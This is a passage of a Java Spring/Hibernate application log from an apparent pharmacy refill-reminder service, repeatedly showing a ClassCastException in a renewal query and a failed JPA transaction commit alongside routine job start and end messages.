com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:34:59 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:34:59 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:34:59 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:34:59 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:34:59 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:34:59 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:34:59 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:34:59 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:34:59 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:34:59 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:34:59 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 